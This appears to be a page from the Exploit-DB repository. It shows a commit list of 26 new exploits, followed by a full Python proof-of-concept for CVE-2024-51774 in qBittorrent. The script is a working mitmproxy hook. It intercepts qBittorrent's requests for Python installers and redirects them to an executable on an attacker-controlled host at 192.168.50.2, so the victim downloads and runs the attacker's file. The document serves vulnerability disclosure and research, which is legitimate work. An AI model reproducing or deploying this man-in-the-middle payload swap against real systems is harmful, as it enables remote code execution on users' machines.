b165516b1b
26 changes to exploits/shellcodes/ghdb ABB Cylon Aspect 3.08.02 - PHP Session Fixation ABB Cylon FLXeon 9.3.4 - Cross-Site Request Forgery ABB Cylon FLXeon 9.3.4 - Default Credentials ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) ABB Cylon FLXeon 9.3.4 - System Logs Information Disclosure ABB Cylon FLXeon 9.3.4 - WebSocket Command Spawning Netman 204 - Remote command without authentication qBittorrent 5.0.1 - MITM RCE CMU CERT/CC VINCE 2.0.6 - Stored XSS CyberPanel 2.3.6 - Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Broken Access Control GeoVision GV-ASManager 6.1.1.0 - CSRF MagnusSolution magnusbilling 7.3.0 - Command Injection Nagios Log Server 2024R1.3.1 - API Key Exposure WebFileSys 2.31.0 - Directory Path Traversal flatCore 1.5 - Cross Site Request Forgery (CSRF) GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection MiniCMS 1.1 - Cross Site Scripting (XSS) NEWS-BUZZ News Management System 1.0 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
40 lines
No EOL
1.6 KiB
Python
Executable file
40 lines
No EOL
1.6 KiB
Python
Executable file
# Exploit Title: qBittorrent 5.0.1 MITM RCE
|
|
# Date: 01/02/2025
|
|
# Exploit Author: Jordan Sharp
|
|
# Vendor Homepage: https://github.com/qbittorrent/qBittorrent
|
|
# Software Link: https://www.qbittorrent.org/download
|
|
# Version: < 5.0.1
|
|
# Tested on: Windows 10
|
|
# CVE : CVE-2024-51774
|
|
|
|
Run the PoC on a MITM machine intercepting the host
|
|
|
|
"""PoC exploit for CVE-2024-51774"""
|
|
from mitmproxy import http
|
|
|
|
targets = [
|
|
"https://www.python.org/ftp/python/3.10.11/python-3.10.11-amd64.exe",
|
|
"https://www.python.org/ftp/python/3.8.10/python-3.8.10-amd64.exe",
|
|
"https://www.python.org/ftp/python/3.10.11/python-3.10.11.exe",
|
|
"https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe",
|
|
"https://www.python.org/ftp/python/3.4.3/python-3.4.3.msi",
|
|
"https://www.python.org/ftp/python/3.8.5/python-3.8.5-amd64.exe",
|
|
"https://www.python.org/ftp/python/3.8.5/python-3.8.5.exe",
|
|
"https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe",
|
|
"https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe",
|
|
"https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe",
|
|
"https://www.python.org/ftp/python/3.7.4/python-3.7.4.exe",
|
|
"https://www.python.org/ftp/python/3.6.6/python-3.6.6.exe",
|
|
"https://www.python.org/ftp/python/3.12.4/python-3.12.4-amd64.exe",
|
|
"https://www.python.org/ftp/python/3.4.4/python-3.4.4.msi",
|
|
"https://www.python.org/ftp/python/3.5.2/python-3.5.2.exe"
|
|
]
|
|
|
|
SUBSTITUTE_URL = "http://192.168.50.2:6666/calc.exe"
|
|
|
|
def request(flow: http.HTTPFlow) -> None:
|
|
"""
|
|
Inject any exe instead of a Python installer.
|
|
"""
|
|
if flow.request.pretty_url in targets:
|
|
flow.request.url = SUBSTITUTE_URL |